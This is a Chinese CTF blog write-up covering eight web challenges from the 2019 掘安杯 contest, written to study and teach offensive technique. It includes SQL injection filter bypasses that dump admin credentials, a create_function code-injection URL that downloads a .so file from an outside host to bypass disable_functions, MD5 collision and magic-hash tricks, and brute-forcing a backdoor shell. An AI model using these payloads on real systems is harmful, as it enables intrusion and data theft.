2019掘安杯Web

  1. 1. Web
    1. 1.1. Web 1 web签到
      1. 1.1.1. Description
      2. 1.1.2. Hacking
    2. 1.2. Web 2 下载下载
      1. 1.2.1. Description
      2. 1.2.2. Hacking
    3. 1.3. Web 3 猜密码
      1. 1.3.1. Description
      2. 1.3.2. Hacking
    4. 1.4. Web 4 该网站已被黑
      1. 1.4.1. Description
      2. 1.4.2. Hacking
    5. 1.5. Web 5 曲折的人生
      1. 1.5.1. Description
      2. 1.5.2. Hacking
    6. 1.6. Web 6 not_easy
      1. 1.6.1. Description
      2. 1.6.2. Hacking
    7. 1.7. Web 7 audit
      1. 1.7.1. Description
      2. 1.7.2. Hacking
    8. 1.8. Web 8 真的是 Web
      1. 1.8.1. Description
      2. 1.8.2. Hacking
  2. 2. Conclusion

清明无聊,玩了一下这个 ctf 比赛

Web

Web 1 web签到

Description

flag到底在哪啊!!

题目地址:http://120.79.1.69:8887/web1/

Hacking

Web 2 下载下载

Description

下载就对了,废什么话!

题目地址:http://120.79.1.69:8887/web2/

Hacking

题目给了一个文件下载的功能,http://120.79.1.69:8887/web2/?file=flag.txt

直接下 flag.php ,内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
true$key = md5 ( $key );
true$x = 0;
true$len = strlen ( $data );
true$l = strlen ( $key );
truefor($i = 0; $i < $len; $i ++) {
truetrueif ($x == $l) {
truetruetrue$x = 0;
truetrue}
truetrue$char .= $key {$x};
truetrue$x ++;
true}
truefor($i = 0; $i < $len; $i ++) {
truetrue$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
true}
truereturn base64_encode ( $str );
}

function decrypt($data, $key) {
true$key = md5 ( $key );
true$x = 0;
true$data = base64_decode ( $data );
true$len = strlen ( $data );
true$l = strlen ( $key );
truefor($i = 0; $i < $len; $i ++) {
truetrueif ($x == $l) {
truetruetrue$x = 0;
truetrue}
truetrue$char .= substr ( $key, $x, 1 );
truetrue$x ++;
true}
truefor($i = 0; $i < $len; $i ++) {
truetrueif (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
truetruetrue$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
truetrue} else {
truetruetrue$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
truetrue}
true}
truereturn $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>

直接用decrypt函数解就行了…得到myCTF{cssohw456954GUEB}

Web 3 猜密码

Description

这题很简单

题目地址:http://120.79.1.69:8887/web3/

Hacking

直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
trueif ($_POST['pwd'] == $_SESSION['pwd'])
truetruedie('Flag:'.$flag);
trueelse{
truetrueprint '<p>猜测错误.</p>';
truetrue$_SESSION['pwd']=time().time();
true}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

直接点击提交获得 flag

这里确实存在疑问,后来仔细看了看确实有点问题。

因为注释当中的是 POST[‘password’] 而非 POST[‘pwd’]

如果没有传入$_POST['password']是肯定不能执行后面代码的,这是存疑的一点,后来猜测应该是服务器代码跟注释肯定不一致才导致的问题。但是当时直接点就拿到 flag 就没有再去深究,后来这题我在群里看了也产生了比较多的讨论,后来群主也给出了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
$flag="jactf{sfakdjgnasasdasde}";
session_start();
if (isset ($_POST['pwd'])){
trueif ($_POST['pwd'] == $_SESSION['pwd'])
truetruedie('Flag:'.$flag);
trueelse{
truetrueprint '<p>猜测错误.</p>';
truetrue$_SESSION['pwd']=time().time();
true}
}

?>
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
trueif ($_POST['pwd'] == $_SESSION['pwd'])
truetruedie('Flag:'.$flag);
trueelse{
truetrueprint '<p>猜测错误.</p>';
truetrue$_SESSION['pwd']=time().time();
true}
}
-->
<form action="web3.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

于是这个问题就得以解释了。只要传参$_POST['pwd']为空的话,$_SESSION['pwd']未设置也为空,也就拿到了 flag 了。

Web 4 该网站已被黑

Description

如何预防网站被黑?把不必要的端口修改或者关闭、使用web防火墙、使用cdn隐藏IP、使用安全狗。有技术可以代码审计修复0day漏洞

题目地址:http://120.79.1.69:8887/web4/

Hacking

猜测有后门,打开 shell.php,爆一下密码为 hack

Web 5 曲折的人生

Description

曲折是人生的常态当你遇到坎坷时,不妨把曲折的人生看作是一种常态,不要悲观失望,不要长吁短叹,不要停滞不前,把走弯路看成是前行的另一种形式,另一种途径,这样你也可以像那些走弯路的河流有勇气,抵达那遥远的人生大海。

题目地址:http://120.79.1.69:8887/web5/

Hacking

随便提交我们可以发现有一个错误返回

1
select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确

过滤了 or union select ,但是大写就可以绕过,空格过滤用%0a绕过,用username=admin'%0aUNION%0aSELECT%0a1,2,3#,发现 2 那一列被回显,所以可以在 2 处查询

1
2
3
4
5
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,2,3#'<br/>用户名:2正确 </div>

username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#得到

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(schema_name),3
from
infORmation_schema.schemata#'<br/>用户名:information_schema,xiaowei正确 </div>

表名:

1
2
3
4
5
6
7
8
9
 <div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(table_name),3
from
infORmation_schema.tables
where
table_schema='xiaowei'#'<br/>用户名:admin正确 </div>

列名:

1
2
3
4
5
6
7
8
9
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(column_name),3
from
infORmation_schema.columns
where
table_name='admin'#'<br/>用户名:id,username,password正确 </div>

用户名:

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,username,3
from
admin#'<br/>用户名:goodboy_g-60Hellowor正确 </div>

密码:

1
2
3
4
5
6
7
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,password,3
from
admin#'<br/>用户名:ajahas&&*44askldajaj正确 </div>

登录成功后:

1
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>

自己用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
index_url = 'http://120.79.1.69:8887/web5/index.php'
solution_url = 'http://120.79.1.69:8887/web5/?check'
headers = {
true'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
true'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
true'http':'http://127.0.0.1:8080'
}

r = requests.Session()
s = r.get(index_url,allow_redirects=True,headers=headers)
str_text = r"<div class='rep'>.*</div>"

match = re.search(str_text,s.text)
result = match.group().replace("<div class='rep'>","")
result = result.replace("</div>","")
result = result.replace("(","(")
result = result.replace("ï¼",")")
result = result.replace("‰X","*")
result = result.replace("‰/","/")
result = result.replace(b'\xc2\x89'.decode(),"")
result = str(round(eval(result)))
print(result)

# param = "username=admin'+||+'1'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(table_name),3 from infORmation_schema.tables where table_schema='xiaowei'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT id,group_concat(id),3 from admin#&password=admin&code=" + result
param = "username=admin'+||+'1'#&password=ajahas%26%26*44askldajaj&code=" +result
param = param.replace(' ',"%0a")
# print(param)
s = r.post(solution_url,data=param,headers=headers,proxies=proxies)
print(s.text)

这里比较坑的就是要处理那些不可见字符,我都是直接复制过来的,以及最后还有个不可见字符,用result = result.replace(b'\xc2\x89'.decode(),"")处理了…这里比较恶心…其他没什么难度

里面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Private Function getPassword(ByVal str As String) As String


Dim reString As String

Dim i As Integer
i = 1


While (i <= Len(str))

reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)


Wend


getPassword = reString

End Function



Private Sub Command1_Click()

Dim Dictionary As String

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

Dim password As String

password = getPassword(Dictionary)


Dim psw As String

psw = Text1.Text


If (psw = password) Then

MsgBox "The password is correct!", vbOKOnly, "������ȷ"

Text1.Text = "Password for next pass : " & getPassword(password)

Else

MsgBox "PasswordFail!", vbOKOnly, "�������"


End If



End Sub

用 python 翻译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
def getPassword(string):
truei = 1
truereString = ''
truewhile i <= len(string) :
truetruereString = reString + string[i-1]
truetruei = i + (i % 5)
truereturn reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

得到压缩包密码,解压得到的图片用 strings 看一下就是 flag 了

Web 6 not_easy

Description

this question is no easy

题目地址:http://120.79.1.69:8886/web6/

Hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}

if(isset($_GET['action'])){
$arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}

Code Breaking原题,只不过把 arg 的位置换了一下,无伤大雅,依旧可以用){return 123;}这种闭合形式绕过。接下来就是突破 disable_function 的限制了。

这里我直接用了 0ctf 的解法,因为有现成的 exp 就直接拿去用了。

1
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}copy(%22http://106.14.153.173:8080/zedd.so%22,%22/www/wwwroot/www.sec.cn/web6/zedd.so%22);%2f%2f

后来看了一下可以简便一点,在_SERVER["SCRIPT_FILENAME"]处发现绝对路径,然后用以下看当前文件

1
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}var_dump(scandir(%22/www/wwwroot/www.sec.cn/web6%22));%2f%2f

可以看到我之前传上去的.so,也看到了还有两个 webshell ,直接file_get_contents读 flag 即可

看知乎还有人发了一开始没做题目隔离…还没用 docker …这个一拿到 shell 就拿到了其他题目了…

Web 7 audit

Description

audit

题目地址:http://120.79.1.69:8887/web7/

Hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}



str1 OR Sstr2 no no no

源码审计题,用数组可以绕过前面 4 个判断,str5 str6 str7 因为转成了字符串,所以需要强碰撞。这里可以利用Three way MD5 collision给的三个图片强行碰撞,但是比赛的时候由于自己对 python 这块不是特别熟,导致传这三个值老是传不了,最后赛后问了一下其他师傅要open().read()这样…(然而自己按照阿烨师傅的没加read()一直做不出来…

后面的可以自己 fuzz 一下,只要找到一个 md5 值可以变成0exxxxxx形式的字符串即可。这里用正则整了好一会

1
2
3
4
5
6
7
8
9
for ($i=99999; $i < 1000000; $i++) {
true$str = md5($i);
truetrue$p = '/^\w{4}.[0-9]+$/';
truetrueif (preg_match($p, $str)) {
echo $i." ";
truetruetrueecho md5($i);
truetruetrueecho "<br>";
truetrue}
}

得到以下几个数

1
2
3
204540 1a083126803757739236831994920755
541725 2c125284818224703513551749833326
598677 39dd6797642068546678043973187459

其他就迎刃而解了。附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = "http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1a&n=0e"
data = {
'a':'QNKCDZO',
'b':204540,
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read()
}
proxies = {
true'http':'http://127.0.0.1:8080'
}
r = requests.post(url,data = data,proxies=proxies)
print r.text

Web 8 真的是 Web

Description

真的是web,格式jactf{}

题目地址:http://120.79.1.69:8887/web8/

Hacking

是个 WebAssembly 的题,原本算在 web 的,后面放到 rev 去了,就没看了。

Conclusion

整个比赛还是比较简单的,可以说整个比赛没有自己比赛的东西,算不上是高质量比赛,没学到什么其他的东西。把 python 又撸了一遍…简直,python3 字符编码真的有点恶心… web8 可能以后有空回回来看看,其他就没什么了。不过听说比赛主办方还是在校生…那也是挺辛苦的hhhh…还是对主办方的辛苦运维表示感谢


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/04/06/%E6%8E%98%E5%AE%89%E6%9D%AFWeb/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Vulnerabilites For A2OS 2019安恒周周练西湖论剑特别版

Comments